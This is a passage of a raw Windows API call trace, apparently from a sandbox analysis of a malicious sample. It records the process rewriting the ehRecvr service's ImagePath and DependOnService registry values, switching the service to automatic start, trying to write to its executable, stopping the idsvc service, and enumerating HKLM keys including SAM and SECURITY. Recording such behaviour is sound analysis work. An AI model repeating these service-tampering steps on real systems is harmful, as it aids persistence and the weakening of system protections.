dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.949] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.949] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.949] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.949] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.949] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.949] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.949] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.949] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.949] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.949] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.949] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.949] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0245.950] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0245.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0245.950] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0245.950] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.950] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.950] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.950] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.950] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.950] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.950] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.950] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.951] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.951] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.951] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.951] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.951] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.951] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.951] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0245.951] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0245.951] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0245.951] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\ehome\\ehRecvr.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\ehome\\ehRecvr.exe" [0245.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0245.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0245.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0245.951] LocalFree (hMem=0x7e4b18) returned 0x0 [0245.952] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0245.952] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x2) returned 0x8038a0 [0245.952] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0245.954] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0245.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0245.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0245.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0245.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0245.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0245.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.955] RegCloseKey (hKey=0x154) returned 0x0 [0245.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0245.955] RegCloseKey (hKey=0x14c) returned 0x0 [0245.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0245.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0245.955] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0245.955] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0245.955] GetLastError () returned 0x20 [0245.955] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0245.956] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0245.956] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0245.956] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x20) returned 0x803990 [0245.957] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0245.957] GetLastError () returned 0x426 [0245.957] CloseServiceHandle (hSCObject=0x803990) returned 1 [0245.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0245.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0245.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0245.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0245.957] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0245.957] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0245.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0245.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0245.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.958] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0245.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0245.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.958] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0245.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0245.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.958] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0245.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0245.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.959] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0245.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0245.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.959] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0245.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0245.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.959] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0245.959] RegCloseKey (hKey=0x80000002) returned 0x0 [0245.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0245.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0245.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0245.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0245.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0245.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0245.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0245.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0245.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1970, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0245.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0245.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0245.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 